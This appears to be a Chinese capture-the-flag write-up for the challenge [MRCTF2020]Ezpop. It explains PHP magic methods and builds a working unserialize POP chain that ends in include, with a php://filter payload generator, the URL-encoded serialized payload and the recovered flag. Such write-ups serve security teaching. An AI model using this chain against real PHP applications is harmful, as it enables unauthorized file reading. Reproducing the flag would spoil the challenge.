当前位置:   article > 正文

[MRCTF2020]Ezpop

[MRCTF2020]Ezpop

作者:Hopeace

靶机地址:https://buuoj.cn/challenges#[MRCTF2020]Ezpop

0x01 浏览题目

不用看了,反序列化构造和绕过

这种题主要是考察各类魔术方法的触发条件,不断构造调用形成一条链

0x02 分析题目

<?php
//flag is in flag.php
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
__invoke()

当尝试以调用函数的方式调用一个对象时,该方法会被自动调用

class invoke
{
    public function __invoke($x)
    {
        var_dump($x);
    }
}
 
$obj = new invoke;
$obj(10); 
/*
 输出:
 int 10
*/
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
__get()
<?php
class Person{
	/*封装私有成员属性*/
	private $name='张三';private $sex='男';private $age=12;
	/*__get()方法用来获取私有属性*/
	function __get($property_name){
		echo '在直接获取私有成员属性得时候,自动调用了这个__get()方法<br/>';
		if(isset($this->$property_name))
		{
			return ($this->$property_name);
		}else{
			return NULL;
		}
	}
}
$p1=new Person();
/*直接获取私有属性得值,会自动调用__get()的方法,返回成员属性的值*/
echo '姓名:'.$p1->name.'<br/>';
echo '性别:'.$p1->sex.'<br/>';
echo '年龄:'.$p1->age.'<br/>';
————————————————
版权声明:本文为CSDN博主「weixin_42113474」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/weixin_42113474/article/details/108894764
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23

调用不存在的成员变量时也会触发

其余常见魔术方法
__construct()创建对象时调用
__destruct()销毁对象时调用
__toString()把对象转换为字符串,打印一个对象时被调用
__sleep()在序列化前被调用,此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组
__wakeup()将在序列化之后立即被调用
  • 1
  • 2
  • 3
  • 4
  • 5

0x03 代码审计

从出处向前找

最后应该是include去包含相关文件,需要调用Modifier里的append函数

append需要出发__ invoke魔术方法,看到Test类 里的 __get里的return $function();可以出发invoke,

继续,要触发__get 需要去找一个无source的类

调用__tostring $this->str, 赋值一个Test类,

然后是正则匹配preg_match,会触发__tostring

最后,传入pop参数值,触发__wakeup

pop链构成为:

pop传参 => __wakeup => __tostring => __get => __invoke => 调用include函数去包含flag.php这样的敏感文件

即 Modifier::__invoke()<–Test::__get()<–Show::__toString()

构造代码块

<?php
class Modifier{
    protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}
class Show{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;
    }
    public function __toString(){
        return "output anything you want";
    }
}
class Test{
    public $p;
}
$payload = new Show('test');
$payload->str = new Test();
$payload->str->p = new Modifier();
$hack = new Show($payload);
echo urlencode(serialize($hack));
?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24

本地运行得到

O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A4%3A%22test%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

得到一段base64编码

PD9waHAKY2xhc3MgRmxhZ3sKICAgIHByaXZhdGUgJGZsYWc9ICJmbGFne2NmMWM0ZTE3LTE2ODktNDljNS1hOTE4LTVkMjRiNzA1M2U1Y30iOwp9CmVjaG8gIkhlbHAgTWUgRmluZCBGTEFHISI7Cj8+

解码得到

<?php class Flag{ private $flag= "flag{cf1c4e17-1689-49c5-a918-5d24b7053e5c}"; } echo "Help Me Find FLAG!"; ?>
声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/小舞很执着/article/detail/936699
推荐阅读
相关标签
  

闽ICP备14008679号